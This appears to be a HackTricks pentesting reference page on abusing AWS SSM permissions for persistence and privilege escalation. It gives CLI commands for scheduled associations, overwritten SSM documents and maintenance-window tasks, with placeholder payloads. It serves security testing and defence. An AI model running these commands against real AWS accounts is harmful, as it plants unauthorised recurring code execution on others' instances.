AWS - SSM Perssitence
{{#include ../../../../banners/hacktricks-training.md}}
SSM
For more information check:
{{#ref}}
../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md
{{#endref}}
Using ssm:CreateAssociation for persistence
An attacker with the permission ssm:CreateAssociation can create a State Manager Association to automatically execute commands on EC2 instances managed by SSM. These associations can be configured to run at a fixed interval, making them suitable for backdoor-like persistence without interactive sessions.
aws ssm create-association \
--name SSM-Document-Name \
--targets Key=InstanceIds,Values=target-instance-id \
--parameters commands=["malicious-command"] \
--schedule-expression "rate(30 minutes)" \
--association-name association-name
ssm:UpdateDocument, ssm:UpdateDocumentDefaultVersion, (ssm:ListDocuments | ssm:GetDocument)
An attacker with the permissions ssm:UpdateDocument and ssm:UpdateDocumentDefaultVersion can escalate privileges by modifying existing documents. This also allows for persistence within that document. Practically the attacker would also need ssm:ListDocuments to get the names for custom documents and if the attacker wants to obfuscate their payload within an existing document ssm:GetDocument would be necessary as well.
aws ssm list-documents
aws ssm get-document --name "target-document" --document-format YAML
# You will need to specify the version you're updating
aws ssm update-document \
--name "target-document" \
--document-format YAML \
--content "file://doc.yaml" \
--document-version 1
aws ssm update-document-default-version --name "target-document" --document-version 2
Below is an example document that can be used to overwrite and existing document. You will want to ensure your document type matches the target documents type to issues with innvocation. The document below for instance will the ssm:SendCommand and ssm:CreateAssociation examples.
schemaVersion: '2.2'
description: Execute commands on a Linux instance.
parameters:
commands:
type: StringList
description: "The commands to run."
displayType: textarea
mainSteps:
- action: aws:runShellScript
name: runCommands
inputs:
runCommand:
- "id > /tmp/pwn_test.txt"
ssm:RegisterTaskWithMaintenanceWindow, ssm:RegisterTargetWithMaintenanceWindow, (ssm:DescribeMaintenanceWindows | ec2:DescribeInstances)
An attacker with the permissions ssm:RegisterTaskWithMaintenanceWindow and ssm:RegisterTargetWithMaintenanceWindow can escalate privileges by first registering a new target with an existing maintenance window and then updating registering a new task. This achieves execution on the existing targets, but can allow an attacker to compromise compute with different roles by register new targets. This also allows for persistence as maintenance windows tasks are executed on a pre-defined interval during the window creation. Practically the attacker would also need ssm:DescribeMaintenanceWindows to get the maintenance window IDs.
aws ec2 describe-instances
aws ssm describe-maintenance-window
aws ssm register-target-with-maintenance-window \
--window-id "<mw-id>" \
--resource-type "INSTANCE" \
--targets "Key=InstanceIds,Values=<instance_id>"
aws ssm register-task-with-maintenance-window \
--window-id "<mw-id>" \
--task-arn "AWS-RunShellScript" \
--task-type "RUN_COMMAND" \
--targets "Key=WindowTargetIds,Values=<target_id>" \
--task-invocation-parameters '{ "RunCommand": { "Parameters": { "commands": ["echo test > /tmp/regtaskpwn.txt"] } } }' \
--max-concurrency 50 \
--max-errors 100
{{#include ../../../../banners/hacktricks-training.md}}